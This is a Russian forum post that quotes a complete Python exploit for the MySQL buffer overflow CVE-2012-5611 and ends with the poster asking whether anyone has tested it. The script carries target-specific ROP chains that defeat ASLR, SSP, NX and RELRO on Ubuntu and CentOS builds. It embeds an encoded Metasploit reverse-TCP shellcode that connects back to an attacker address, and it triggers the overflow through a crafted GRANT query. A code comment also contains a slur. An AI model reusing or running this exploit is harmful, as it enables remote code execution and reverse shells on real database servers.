Показать сообщение отдельно
Старый 28.12.2012, 13:01   #13
Лаврушкин
 
Регистрация: 05.07.2010
Сообщений: 27
Репутация: 15
По умолчанию

Цитата:
Сообщение от SynQ Посмотреть сообщение
Эксплойт к CVE-2012-5611:

Код:
#!/usr/bin/env python
# 27/12/12 - status : public release

# CVE-2012-5611 ( https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5611 )
# -------- Author   : ipv
# -------- Impact   : high
# -------- URL		: http://blog.ring0.me/
# -------- Description
#
# The code below is linked to CVE-2012-5611, a flaw discovered by kingcope.
# MySQL server is prone to a remote buffer overflow that 
# allow remote authenticated attacker to reach code execution in the 
# context of the user running MySQL instance (default: mysql user).

# The vulnerability resides in acl_get function, called when authenticated
# user  requests a privileged Account Managment statement. MySQL fails 
# to verify user controlled data len of "db" parameter.
#
# 	end=strmov((tmp_db=strmov(strmov(key, ip ? ip : "")+1,user)+1),db);
#
# The destination address of strcpy is located on a mmaped page dedicated to 
# user connection which allow a buffer overflow on adjacent memory.
#
# Differents attacks vector may be possiblea according the system.
# FYI Microsoft Windows versions are as well vulnerables.
#---------------------------------------------------------
# To bypass ASLR/SSP/RELRO/NX:
#------------------------------------------------------------------------------
# I take profit of Threading-Model. This means MySQL use only one address 
# space for all MySQL ressources (data structures, network managment, 
# session, etc.). 
# To bypass SSP, i overwrite sysinfo handler(pointing to sysenter vdso) of 
# TCB structure located more higher on the stack. 
# ROP chains aims to pivot to our controlled stack data. At this point, 
# if we overwrite sysinfo handler, we cannot use ret2libc and/or GOT 
# deferencing technique since libc API relies on the sysinfo pointer 
# to call sysenter.
#
# So to accomplish code exec, afaik, you have two way : 
#	1 - Extract sysinfo of an intact TCB and use it as proxy call
#	(or you can restore the first sysinfo after doing modification on got)
#		-> i use it for redhat exploit (no SSP on redhat/centos); 
#		-> this allow us to bypass relro/alsr/nx
#		relro.
#	2 - Find a int0x80 / sysenter gadget in .text ;
#	(Bad instruction follow int0x80 gadget, you have a one shooter to get
#	code exec). So, i advise you to find a sysenter)
#		- i use sysenter for ubuntu 10.04 self-compiled with SSP. 
#		- this allow us bypass relro/ssp/alsr/nx
# 
# Shellcodes are alphanum-mixed (skylined tool ftw). Exploit bypass
# SSP/ASLR/NX.
#
#---------------------------------------------------------
# UTF-8 and ROP chains limitation :
#---------------------------------------------------------
# Mysql Schema Object Name restricts database name to be alpha numeric 
# (and $ _).
# To bypass it, i use utf-8 encoding with byte lower than 0x80. Encoding is 
# done via MySQL when databasename is quoted with `` (mandatory to 
# successful exploit target). Yes the devil is in the details.

# MySQL reference : https://dev.mysql.com/doc/refman/5.1/en/identifiers.html
#
# For any comments/job offer, mail me : ipv _at_ consortium-of-pwners . net

########################################################################
# Modules
#

import pymysql
import sys
import struct
import os, socket

########################################################################
# Authentication options 
#

MYSQL_USER = "test"
MYSQL_PASSWORD = ""

#MYSQL_HOST = "192.168.130.147"
MYSQL_HOST = "192.168.130.129"
MYSQL_PORT = 3306

########################################################################
# Helper
# 

def _x(v):
	if isinstance(v, str):
		return v
	return struct.pack("<I", v)

# TCP is used when we face to SSP
class _TCB:
	tcb = 0 # updated later by a ret gadget
	dtv = "BBBB"
	_self = "CCCC"
	multiple_threads= "DDDD"
	sysinfo = 0 # SEIP - updated later by stack pivot gadget 
	stack_guard = "AAAA"
	pointer_guard = 0 # updated later by a pop pop ret gadget

# base class
class rc_base:
	eip_off = 0
	align_payload = 0
	align_stack = 2048
	retsled = ""
	safe_overwrite = ""
	pivot = ""
	pppr = ""
	ppr = ""
	
	# ./msf/msfpayload linux/x86/shell_reverse_tcp2 LHOST=192.168.130.1 LPORT=4444 R | ./alpha2 esp
	# XXX - CHANGEME !
	sc_rev_tcp = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIFQkkRsW3PSqzvbsZqv3hOyKQXMMPnssiLpgOJmk00IrYxyck0ZSXo0LhK2gqcVCXvqSlssQvScOyM1lpSVRpRqqCLIkQ2cXMopSbSXtodorS1xE8vOCRbIbNNiKSQBpSNiKQLpDK8MK0A"
	base = 0x0804800
	rop_chain = [
		      
	]
	def construct_payload(self):
		return "A"*0x19b0

########################################################################
# ROP Gadget tables and menu - 
# UTF-8 Compliant ISO 27011 CEH  

# I use a script to select rop according their addresses. 
# A further analysis is done to correlate missing byte with valid utf-8 
# multibytes.
# Basically it prints "good utf8" if all bytes of rop address are  < 0x80
# else it tries to match the invalid bytes with a utf-8 database 
# containing valid bytes
# NOTE : 
#	With self-compiled package and redhat package, we find the same gadget.
#	=> Other distribs should have the same gadget, thus it should be 
#   easy to adapt the exploit.

class rc_ubuntu1004_m5096(rc_base):
	""" 
	Tested on 	: mysql-5.0.96.tar.gz
	Environment	: Ubuntu 10.04 Lucid
	"""
	align = "A"*3
	sysinfo_handler_off = 0x1992
	retsled = _x(0x084c2f73)	# ret; 
	pivot = 0x08323543		# <ibuf_insert_low+1995>:	add esp 0xa24; pop ebx; pop ebp
	ppr = 0x8107014			# <_Z10is_keywordPKcj+180>:	pop edi; pop ebp; ret
	nsled = 500
	data_rw = 0x08535353		# rw-p .data
	
	rop_chain = [
		# SAVE SYSENTER TO ESI (DO NOT MODIFY THIS REGISTER DURING ROP!)
		unichr(706) + "\x10\x08",	# pop ebx; pop esi; pop ebp ; ret;
        "XXX" + unichr(2844)+"\x06\x08",# sysenter;
        "SUCE",

		# SETUP & CALL MPROTECT
			# GET STACK ADDRESS AND SETUP MPROTECT ARGUMENTS
			# EBX MPROTECT - Stack & 0xffff0000
				_x(0x08397b70),		# <fseg_alloc_free_page_general+272>: push esp; pop ebx; pop ebp; ret;
				"SUCE"*1,
				_x(0x08124671), 	# <_ZN14Item_cache_row7cleanupEv+65>: xchg ebx,eax; and edi,esi; dec ecx; ret;
				_x(0x08123b78),		# <_ZN4ListI4ItemE8head_refEv+24>: sub edx 0x1; and eax,edx; ret;
				_x(0x0806776a)*16, 	# shl edx,0x1; ret;
				_x(0x08123b7b), 	# <_ZN4ListI4ItemE8head_refEv+27>: and eax,edx; ret;
				_x(0x08124671), 	# <_ZN14Item_cache_row7cleanupEv+65>: xchg ebx,eax; and edi,esi; dec ecx; ret;

			# ECX MPROTECT - PAGE Size (0x10000)
				_x(0x08123625), 	# <_ZNK18Item_default_value11used_tablesEv+5>: xor edx,edx; pop ebp; ret; 
				"SUCE"*1,
				_x(0x08123d65), 	# <_ZN13List_iteratorI4ItemEppEi+21>: inc edx; add al,0x5d; ret;
				_x(0x0806776a)*16, 	# shl edx 0x1; ret;
				_x(0x08122939),		# <_ZN12Item_splocal30get_settable_routine_parameterEv+9>: pop eax; ret;
				_x(data_rw), 		# heap .data +w	
				_x(0x08326113), 	# <page_cur_position+9>: mov [eax],edx; pop ebp; ret;	
				"SUCE"*1,
				_x(0x08122939), 	# <_ZN12Item_splocal30get_settable_routine_parameterEv+9>: pop eax; ret
				_x(data_rw-0x4c), 	# => 0x8535307 
				_x(0x08223107), 	# <_ZN16Item_null_result15is_result_fieldEv+7>: mov ecx [eax+0x4c]; test ecx,ecx; setnz al; ret;
			
			# EDX MPROTECT - RWX Mode (7)
				_x(0x08123625), 	# <_ZNK18Item_default_value11used_tablesEv+5>: xor edx,edx; ret;
				"SUCE",
				_x(0x08262835)*7, 	# <_ZN13List_iteratorI11st_lex_userEppEi+21>: inc edx; ret;
					
			# EAX MPROTECT - SyscallNumber(0x7d)
				_x(0x081b277f), 	# <_ZN26sys_var_sync_binlog_period6updateEP3THDP7set_var+15>: xor eax,eax; ret;
				_x(0x08196576)*7, 	# <_ZNK10Field_blob8key_typeEv+22>: add eax,0x12; ret;
				_x(0x08195709), 	# <_ZNK5Field11pack_lengthEv+9>: dec eax; ret;
				
		# CALL SYSENTER		
			_x(0x8195b0b), # <_ZN9Field_str11set_charsetEP15charset_info_st+11>: push esp; pop ebp; ret;
			_x(0x8067a67), # push esi; ret;
			"SUCE"*2,
			_x(0x8067d23), # push esp; ret;
	]
	safe_overwrite = align + retsled * nsled # don't pay attention to variable name
	
	def construct_payload(self):
		_TCB.tcb = self.retsled
		_TCB.sysinfo = _x(self.pivot)
		_TCB.pointer_guard = _x(self.ppr)
		TCB = "".join([value for name,value in _TCB.__dict__.items() if name[0]!='_'])

		rop = self.safe_overwrite 
		rop += "".join([x for x in self.rop_chain])
		rop += self.sc_rev_tcp + "a" * (4-(len(self.sc_rev_tcp)%4))
		rop += self.retsled * ((self.sysinfo_handler_off - len(rop))/4)
		rop += TCB
		return rop


# * IMPORTANT * Redhat/CentOS systems can enforce user-space security 
# with SELinux. SELinux forbids execve/mprotect syscall on memory process. 
# If you face this problem and you cannot bypass it, i suggest you to 
# overwrite important MySQL data structures and make a clean stack frame 
# to avoid crash. The idea is to allow grant permission with the flaw, and use 
# UDF feature to load arbitrary code ;))

class rc_redhat5166(rc_base):
	""" 
	Tested on 	: MySQL-shared-community-5.1.66-1.rhel4.i386.rpm
	Environment	: CentOS 6.0
	"""
	eip_off = 0x11d
	pppr =  unichr(4730)+"\x13\x08" 
	data_rw = _x(0x085a1052) # r-xp but it became rw with xor 
	data_rw2 = _x(0x086c6c6c)
	rop_chain = [
		# SAVE SYSINFO HANDLER (SYSENTER) TO EDI (DO NOT MODIFY THIS REGISTER DURING ROP!)
			# TODO : do like rc_poc, reduce this SUCE...
			_x(0x08181451), # push esp ; pop ebx ; pop ebp ;   
			"SUCE",
			# move 0xffff to edx
			_x(0x082c5136), # push ebp ; mov eax 0xffff ; mov ebp esp ; pop ebp ;   
			_x(0x08097c5c), # xchg edx eax ;   
			# move our delta offset 0x1cfc to eax 	
			_x(0x0818700f), # pop eax ; or cl cl ; 
			_x(0x01011d0c),
			# logical and 
			unichr(1621)+"\x20\x08", # and eax, edx ;  eax=our delta ; edx = 0xffff
				
			# here ebx is stackpointer and ebx+eax = current thread sysinfo handler
			_x(0x08143c62), # add eax ebx ; pop ebx ; pop esi ; pop ebp ;   
			"SUCE"*3,
			_x(0x08175506), # mov eax [eax] ;   
			_x(0x0842752c),# pop ebx ; pop ebp ; mov esi esi ;
			_x(0x55010472), # 0x5d5b14c4 - data_rw 
			"SUCE",
			_x(0x084b3b73), # xchg edi eax ; xor bh bh ; inc dword [ebx+0x5d5b14c4] ;   
	
		# SETUP & CALL MPROTECT
			# EBX MPROTECT - Stack & 0xffff0000
				_x(0x0818700f), # pop eax ; or cl cl ; 
				data_rw2,
				_x(0x8293066), # mov edx eax ; mov eax edx ;   
				_x(0x82a781b), # xor eax eax ; pop ebp ; mov esi esi ;   
				"SUCE",
				_x(0x08075978), # xchg ebx eax ; 
				_x(0x082f3f1f), # dec ebx ;   
				_x(0x08075978), # xchg ebx eax ; 
				(_x(0x0819200e)+"SUCE")*8, # shl eax 0x2 ; mov [edx+0x28] eax ; pop ebp ;   
				_x(0x08097c5c), # xchg edx eax ;   
				_x(0x08181451), # push esp ; pop ebx ; pop ebp ;   
				"SUCE",
				_x(0x08075978), # xchg ebx eax ; 
				unichr(1621)+"\x20\x08", # and eax, edx ;  eax= @ stack ; edx = 0xffff
				_x(0x08075978), # xchg ebx eax ; 
			# ECX MPROTECT - PAGE Size (0x10000)
				_x(0x0818700f), # pop eax ; or cl cl ; 
				data_rw2,	
				_x(0x08293066), # mov edx eax ; mov eax edx ;   
				_x(0x082a781b), # xor eax eax ; pop ebp ; mov esi esi ;   
				"SUCE",
				unichr(1589) + "\x17\x08", # inc eax ;	
				(_x(0x0819200e)+"SUCE")*8, # shl eax 0x2 ; mov [edx+0x28] eax ; pop ebp ;   
				_x(0x08436456), # mov ecx eax ; pop esi ; mov eax ecx ; pop ebp ;   
				"SUCE"*2,
			# EDX MPROTECT - RWX Mode (7)
				_x(0x08157025), # xor edx edx ; pop ebp ;   
				"SUCE",
				_x(0x081e4541)*7, # inc edx ; add al 0x39 ;   
			
			# EAX MPROTECT - SyscallNumber(0x7d)
				_x(0x082a781b), # xor eax eax ; pop ebp ; mov esi esi ;   
				"SUCE",
				_x(0x08176757), # add eax 0x78 ;   
				_x(0x081c5f3d)*5, # add eax 0x1 ;   
				
		# CALL SYSENTER
			_x(0x08323969), # push edi ; or cl cl ;
			# DEBUG Helper:  breakpoint here (check mprotect arguments)
			_x(0x08075958), # push esp ;
	]
	safe_overwrite = pppr + data_rw*4

	def construct_payload(self):
		rop = "A"*(self.eip_off-5)
		rop += self.safe_overwrite 
		rop += "".join([rop for rop in self.rop_chain])
		rop += self.sc_rev_tcp
		rop += "A"*(self.align_stack-len(rop))  # Align for reliable offset
		return rop	

target_os = {
  # ID 
   1:	[ "Self-Compiled Ubuntu 10.04 for Exploit Writer - MySQL 5.0.96 (Bypass SSP/ASLR/NX/RELRO)", 1,
	  rc_ubuntu1004_m5096,				
	],
   2:	[ "RedhatX (5.1.66-rhel4) (Bypass ASLR/NX/RELRO)", 1,
	  rc_redhat5166,	
	],
	# public release : remove others entries
  -6:["N/A	                           ",  -2, None]
}

_ID 		= 0
_OS 		= 0
_PWNCLASS	= 2

########################################################################
# Main pwn class
#
class MySQLpwn:
	payload = None
	
	def __init__(self, id):
		self.id = id
		
		print "[+] Target OS detail : %s"%target_os[id][_OS]
		print "[+] Connecting to target %s@%s:%d using password %s"%\
				(MYSQL_USER,MYSQL_HOST,MYSQL_PORT,MYSQL_PASSWORD)
		try:
			self.db=pymysql.connect(host=MYSQL_HOST, 
						port=MYSQL_PORT,
						user=MYSQL_USER,
						passwd=MYSQL_PASSWORD,
						charset="utf8")
		except pymysql.OperationalError, e:
			sys.stderr.write("[-] Error %d: %s\n" % (e.args[0], e.args[1]))
			sys.exit(1)
	
		print "[+] Connection succeeded"
		self.make_payload()

	def trigger_stack_overflow(self, payload):
		self.grant = u"grant ALL on `%s`.* to '%s'@'%%' identified by '%s'"%\
					(payload, MYSQL_USER, MYSQL_PASSWORD)
		print "[+] Sending payload"
		try:
			self.db.query(self.grant) # blocking call so we have forked
		except pymysql.OperationalError,e:
			if e[0] == 2013:
				print "[+] Bug has been triggered, the system looks vuln! Now, check if the shellcode works, or debug exploit ;-)"
			else:
				print "[-] Bugs has not been triggered... System patched ?"

	def make_payload(self):
		self.trigger_stack_overflow(target_os[self.id][_PWNCLASS]().construct_payload())
		
########################################################################
# Init
#
# TODO : use optparse faggot
def usage():
    print "Usage: ./program [ID]\n"
    print "   ID    TARGET                                  		       "
    print "--------------------------------------------------------------------"
    for i in target_os.iteritems():
        print "  %2d  -- %30s       "%(i[0], i[1][0]),
        if i[1][1] == -1:
            print "This version is not vulnerable"
	print 
    sys.exit(1)

if len(sys.argv) != 2:
	print usage()
MySQLpwn(int(sys.argv[1]))
Тестил кто?
Лаврушкин вне форума   Ответить с цитированием